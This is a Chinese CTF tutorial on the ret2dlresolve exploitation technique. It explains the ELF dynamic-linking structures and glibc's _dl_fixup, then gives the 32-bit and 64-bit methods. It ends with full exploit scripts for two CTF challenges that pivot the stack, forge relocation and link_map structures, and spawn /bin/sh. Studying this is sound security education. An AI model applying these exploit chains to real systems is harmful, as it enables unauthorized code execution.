ret2dlresolve


需要利用 ret2dlresolve 攻击的题目的最大特征是不提供 libc 。另外如果使用 ret2dlresolve 则不能使用 patchelf 修改 elf 文件,因为这样会移动延迟绑定相关的结构。

ret2libc 中动态链接时进行延迟绑定是需要通过dl_runtime_resolve函数进行重定位的。如果我们可以控制相应的参数及其对应地址内容,就可以控制解析的函数了。

同时进行 ret2 dlresolve的一个必要条件是程序必须是动态链接的,毕竟只有动态链接的程序才会存在dl_runtime_resolve这个函数。

相关结构

主要有 .dynamic 、.dynstr 、.dynsym 和 .rel.plt 四个重要的 section 。

结构及关系如下如图(以 32 位为例):

  • .dynamic

Dyn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* Dynamic section entry. */
typedef struct {
Elf32_Sword d_tag; /* Dynamic entry type */
union {
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Address value */
} d_un;
} Elf32_Dyn;

typedef struct {
Elf64_Sxword d_tag; /* Dynamic entry type */
union {
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

Dyn 结构体用于描述动态链接时需要使用到的信息,其成员含义如下:

  • d_tag 表示标记值,指明了该结构体的具体类型。比如,DT_NEEDED 表示需要链接的库名,DT_PLTRELSZ 表示 PLT 重定位表的大小等。
  • d_un 是一个联合体,用于存储不同类型的信息。具体含义取决于 d_tag 的值。
    • 如果 d_tag 的值是一个整数类型,则用 d_val 存储它的值。
    • 如果 d_tag 的值是一个指针类型,则用 d_ptr 存储它的值。

Sym

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* Symbol table entry. */
typedef struct {
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

typedef struct {
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

Sym 结构体用于描述 ELF 文件中的符号(Symbol)信息,其成员含义如下:

  • st_name:指向一个存储符号名称的字符串表的索引,即字符串相对于字符串表起始地址的偏移
  • st_info:如果 st_other 为 0 则设置成 0x12 即可。
  • st_other:决定函数参数 link_map 参数是否有效。如果该值不为 0 则直接通过 link_map 中的信息计算出目标函数地址。否则需要调用 _dl_lookup_symbol_x 函数查询出新的 link_map 和 sym 来计算目标函数地址。
  • st_value:符号地址相对于模块基址的偏移值。

Rel

1
2
3
4
5
6
7
8
9
10
/* Relocation table entry without addend (in section of type SHT_REL). */
typedef struct {
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;

typedef struct {
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;

Rel 结构体用于描述重定位(Relocation)信息,其成员含义如下:

  • r_offset:加上传入的参数 link_map->l_addr 等于该函数对应 got 表地址。
  • r_info :符号索引的低 8 位(32 位 ELF)或低 32 位(64 位 ELF)指示符号的类型这里设为 7 即可,高 24 位(32 位 ELF)或高 32 位(64 位 ELF)指示符号的索引即 Sym 构造的数组中的索引。
1
2
3
4
5
6
7
struct link_map {
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
...
ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
};

link_map 是存储目标函数查询结果的一个结构体,我们主要关心 l_addr 和 l_info 两个成员即可。

  • l_addr:目标函数所在 lib 的基址。
  • l_infoDyn 结构体指针,指向各种结构对应的 Dyn 。
    • l_info[DT_STRTAB]:即 l_info 数组第 5 项,指向 .dynstr 对应的 Dyn 。
    • l_info[DT_SYMTAB]:即 l_info 数组第 6 项,指向 Sym 对应的 Dyn 。
    • l_info[DT_JMPREL]:即 l_info 数组第 23 项,指向 Rel 对应的 Dyn 。

_dl_runtime_resolve函数

_dl_runtime_resolve 函数的作用可以看一下 ret2libc 中 linux 延迟绑定机制的原理介绍图。这里详细介绍的是该函数的具体实现。

其中 _dl_runtime_resolve 的核心函数为 _dl_fixup 函数,这里是为了避免 _dl_fixup 传参与目标函数传参干扰(_dl_runtime_resolve 函数通过栈传参然后转换成 _dl_fixup 的寄存器传参)以及调用目标函数才在 _dl_fixup 外面封装一个 _dl_runtime_resolve 函数。_dl_fixup 函数的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg) {
// 获取符号表地址
const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);

// 获取字符串表地址
const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);

// 获取函数对应的重定位表结构地址,sizeof(PLTREL) 即 Elf*_Rel 的大小。
#define reloc_offset reloc_arg * sizeof(PLTREL)
const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

// 获取函数对应的符号表结构地址
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];

// 得到函数对应的 got 地址,即真实函数地址要填回的地址
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

lookup_t result;
DL_FIXUP_VALUE_TYPE value;

// 判断重定位表的类型,必须要为 ELF_MACHINE_JMP_SLOT(7)
assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);


// ☆ 关键判断,决定目标函数地址的查找方法。☆
if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0) {
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL) {
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P) {
THREAD_GSCOPE_SET_FLAG();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

// 查找目标函数地址
// result 为 libc 的 link_map,其中有 libc 的基地址。
// sym 指针指向 libc 中目标函数对应的符号表,其中有目标函数在 libc 中的偏移。
result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif


// 基址 + 偏移算出目标函数地址 value
value = DL_FIXUP_MAKE_VALUE(result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
} else {
/* We already found the symbol. The module (and therefore its load
address) is also known. */
// 这里认为 link_map 和 sym 中已经是目标函数的信息了,因此直接计算目标函数地址。
value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value(l, reloc, value);
if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely(GLRO(dl_bind_not)))
return value;

// 更新 got 表
return elf_machine_fixup_plt(l, result, reloc, rel_addr, value);
}

需要注意的是 _dl_fixup 中会有如下判断,根据这个判断决定了重定位的策略。

1
if (__builtin_expect(ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)

_dl_fixup 函数在计算出目标函数地址并更新 got 表之后会回到 _dl_runtime_resolve 函数,之后 _dl_runtime_resolve 函数会调用目标函数

利用条件

  1. dl_resolve不会检查对应的参数是否越界。
  2. dl_resolve函数最后解析依赖于所给定的字符串。

原理

  1. 首先使用link_map访问.dynamic,分别取出.dynstr.dynsym.rel.plt的地址
  2. .rel.plt+参数reloc_arg,求出当前函数的重定位表项Elf32Rel的指针,记作rel
  3. relr_info>>8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym
  4. .dynstr+sym->st_name得出符号名字符串指针。
  5. 在动态链接库查找这个函数地址,并且把地址赋给*rel -> r_offset,即GOT表
  6. 调用这个函数

32 位 ret2dlresolve

在 32 位下我们可以利用 ELFW(ST_VISIBILITY) (sym->st_other) 为 0 时的执行流程进行控制流劫持,因为这个执行流程会自动计算目标函数的地址,不需要知道 libc 具体版本,适用性更强。

其中 ELFW(ST_VISIBILITY) (sym->st_other) 为 0 时 _dl_runtime_resolve 函数的具体执行流程为:

在这里插入图片描述

  • 用 link_map 访问 .dynamic ,取出 .dynstr , .dynsym , .rel.plt 的指针。
  • .rel.plt + 第二个参数 求出当前函数的重定位表项 Elf32_Rel 的指针,记作 rel 。
  • rel->r_info >> 8 作为 .dynsym 的下标,求出当前函数的符号表项 Elf32_Sym 的指针,记作 sym 。
  • .dynstr + sym->st_name 得出符号名字符串指针。
  • 在动态链接库查找这个函数的地址,并且把地址赋值给 *rel->r_offset ,即 GOT 表。
  • 调用这个函数。

改写 .dynamic 的 DT_STRTAB

这个只有在 checksec 时 NO RELRO 可行,即 .dynamic 可写。因为 ret2dl-resolve 会从 .dynamic 里面拿 .dynstr 字符串表的指针,然后加上 offset 取得函数名并且在动态链接库中搜索这个函数名,然后调用。而假如说我们能够改写这个指针到一块我们能够操纵的内存空间,当 resolve 的时候,就能 resolve 成我们所指定的任意库函数。

操纵第二个参数,使其指向我们所构造的 Elf32_Rel

由于 _dl_runtime_resolve 函数各种按下标取值的操作都没有进行越界检查,因此如果 .dynamic 不可写就操纵 _dl_runtime_resolve 函数的第二个参数,使其访问到可控的内存,然后在该内存中伪造 .rel.plt ,进一步可以伪造 .dynsym 和 .dynstr ,最终调用目标函数。

可以看出,程序主体部分是一个非常简单的栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void vuln() {
char buf[0x100];
puts("please input:");
read(0, buf, 0x300);
}

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
return 0;
}

由于溢出长度有限,因此首先需要栈迁移到其他地址处。

在这里插入图片描述

为了调用 _dl_runtime_resolve 函数,可以把接下来 rop 中的返回地址设为该函数的 plt 表地址。该地址对应的汇编指令如下:

在这里插入图片描述

可以看出 _dl_runtime_resolve(link_map_obj, reloc_offset) 的参数1 link_map_obj 被push到栈中,在此之前,栈顶一定是参数2 reloc_arg 。因此构造的 rop 中接下来的值是伪造的参数2。接下来 rop 链的内容是目标函数的返回地址和参数(具体 rop 链为什么这么构造可以看前面 ret2libc 中 linux 延迟绑定机制的原理介绍图)。

之后就是伪造那 3 个结构,具体见下图。

在这里插入图片描述

注意:如果 patchelf 修改了 ELF 文件,那么这些表的偏移会发生改变。

例题

2015-xdctf-pwn200

  • 分析

查保护,只存在栈不可执行保护。

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
  • exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
from pwncli import *

cli_script()

io: tube = gift.io
elf: ELF = gift.elf

def payload():
    global sh

    bssHigh = 0x804a000
    readAddr = 0x8048508
    leaveRetAddr = 0x804851a
    retAddr = 0x804851b

    rop = ROP(elf)
    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=["/bin/sh"])
    rop.read(0, dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)
    raw_rop = rop.chain()

    sl(b'0'*112 + p32(retAddr) + raw_rop)
    sl(dlresolve.payload)
    ia()

payload()

64 位 ret2dlresolve

64 位下伪造时(.bss 段离 .dynsym 太远) reloc->r_info 也很大,最后使得访问 ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; 时程序访存出错,导致程序崩溃。因此我们退而求其次选择 ELFW(ST_VISIBILITY) (sym->st_other) 不为 0 时时的程序执行流程,此时计算的目标函数地址为 l->l_addr + sym->st_value 。

虽然这种方法无法在不知道 libc 版本的情况下完成利用,但是可以在不泄露 libc 基址的情况下完成利用。

为了实现 64 位的 ret2dlresolve ,我们需要作如下构造:

  • resolve 函数传入的第二个参数为 0 ,从而从 Elf64_Rel 数组中找到第一个 Elf64_Rel 。
  • 为了避免更新 got 表时内存访问错误,Elf64_Rel 的 r_offset 加上 link_map->l_addr 需要指向可读写内存。
  • Elf64_Rel 的 r_info 的低 32 比特设置为 ELF_MACHINE_JMP_SLOT 即 7 。
  • 为了避免下面这行代码访存错误,需要让 l_info[5] 指向可读写内存。
1
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  • Elf64_Rel 的 r_info 的高 32 比特设置为 0 这样找的就是 Elf64_Sym 数组中的第一个 Elf64_Sym 。
  • link_map->l_info[6]->d_un.dptr 指向 puts@got - 8 这样就伪造出 Elf64_Sym 的 st_value 为 puts 函数地址,同时 st_order 也大概率为非 0 。
  • link_map 的 l_addr 设置为 &system - &puts ,这样 l->l_addr + sym->st_value 结果就是 system 函数地址。

在这里插入图片描述

例题

2023Newstar dlresolve

  • 分析

看名字就知道要让我们使用 ret2dlresolve 的方式进行攻击,

  • exp

pwntools 是集成了一把梭的工具的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

def payload():
    global sh

    bssHigh = 0x404500
    readAddr = 0x401192
    leaveRetAddr = 0x4011a9
    retAddr = 0x4011aa

    rop = ROP(elf)
    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=["/bin/sh"])
    rop.read(0, dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)
    raw_rop = rop.chain()

    sl(b'0'*120 + p64(retAddr) + raw_rop)
    sl(dlresolve.payload)
    ia()

payload()
  • exp2

官方 wp 的 exp,显然不如使用 pwntools 的集成工具便捷。

而且生成的 payload 也要比 pwntools 的集成工具生成的要长。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import *
context(os = "linux", arch = "amd64", log_level= "debug")

#p=process('./111')
p =remote('node4.buuoj.cn',27108)
elf = ELF('./111')
libc = ELF('./libc-2.31.so')

read_plt = elf.plt['read']
read_got = elf.got['read']
vuln_addr = 0x401170
plt0 = 0x401020 #plt段地址
bss = 0x404040
bss_stage =bss + 0x100
l_addr =libc.sym['system'] -libc.sym['read']

pop_rdi = 0x000000000040115e #pop rdi ; ret
pop_rsi = 0x000000000040116b #pop rsi ; ret#用于解析符号 dl_runtime_resolve
plt_load =p64(plt0+6)

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, read_got ,l_addr)

payload = flat( b'a'*120 ,pop_rdi, 0 ,pop_rsi ,bss_stage ,read_plt ,pop_rsi ,0 ,pop_rdi ,bss_stage +0x48 ,plt_load ,bss_stage ,0)

p.sendline(payload)
p.send(fake_link_map)
p.interactive()

参考

参考:ctf-wiki
参考:看雪pwn探索篇